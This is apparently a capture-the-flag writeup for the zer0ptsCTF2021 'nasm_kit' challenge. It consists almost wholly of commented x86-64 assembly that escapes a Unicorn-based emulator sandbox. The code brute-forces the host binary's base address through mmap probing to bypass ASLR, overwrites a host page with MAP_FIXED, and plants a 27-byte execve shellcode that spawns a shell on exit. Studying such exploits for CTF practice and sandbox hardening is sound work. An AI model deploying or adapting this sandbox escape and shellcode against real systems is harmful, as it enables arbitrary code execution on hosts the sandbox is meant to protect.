Tags: sandbox unicorn mmap 

Rating:

```assembly
;; General idea:
;; Code execution:
;; We abuse the fact that we can use MAP_FIXED to replace host pages.
;; We replace the third page of the "x64-emulator" ELF with our own anonymous RWX mapping.
;; ASLR Bypass:
;; We find the x64-emulator base address by brute-force:
;; The emulator mmap will fail if not mapped exactly at hint.
;; So we can "check" for existence of pages.
;; We will scan the memory under the assumption that the lowest-address
;; allocated page is the base of our binary
main:
mov rbx, 0x555000000000 ; search base
mov rcx, 0x100000000 ; search size

aslr_bypass_main_loop:
; Try to mmap area
xor r9d, r9d ; offset = 0 (ignored)
mov r8d, -1 ; fd = -1 (ignored)
mov r10d, 0x22 ; MAP_ANONYMOUS | MAP_PRIVATE
mov edx, 3 ; RWX
mov rsi, rcx ; search size
mov rdi, rbx ; area we're searching for
mov eax, 9 ; mmap syscall
syscall
; If we failed - this page is mapped! This is the base.
; We store it in rbx and move on to exploitation
cmp rax, -1
je aslr_bypass_guess_next_nibble

; If we succeeded - we munmap the area and go on another iteration
mov rsi, rcx
mov rdi, rbx
mov eax, 11
syscall

; Check next page
add rbx, rcx
jmp aslr_bypass_main_loop

; We guessted correctly the nibble - guess the next nibble / finish
aslr_bypass_guess_next_nibble:
; If we guessed page-size granularity - we found the base in rbx
cmp rcx, 0x1000
je replace_page_to_execute_code_in_host

; Otherwise - we want to guess next nibble.
; So divide in 16 (shift-right 4 bits) the rcx (search size)
sar rcx, 4
jmp aslr_bypass_main_loop

replace_page_to_execute_code_in_host:
; mmap page from the binary
xor r9d, r9d ; offset = 0 (ignored)
mov r8d, -1 ; fd = -1 (ignored)
mov r10d, 0x32 ; MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED
mov edx, 7 ; RWX
mov esi, 0x1000 ; PAGE_SIZE

; binary base + 0x2000
add rbx, 0x2000
mov rdi, rbx

mov eax, 9 ; mmap syscall
syscall

; copy data to the mmap-ed page
; "_ZSt3hexRSt8ios_base" starts at offset "0x2124" from binary base
; (hence +0x124 from the page base)
mov rsi, execve_shellcode
add rbx, 0x124
mov rdi, rbx
mov ecx, 27
rep movsb

; exit(1)
; This will trigger a call to "_ZSt3hexRSt8ios_base"
mov edi, 1
mov eax, 60
syscall

; 27 bytes
execve_shellcode:
db 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05

```

Original writeup (https://github.com/TheMaccabees/ctf-writeups/blob/master/zer0ptsCTF2021/nasm_kit/exploit.S).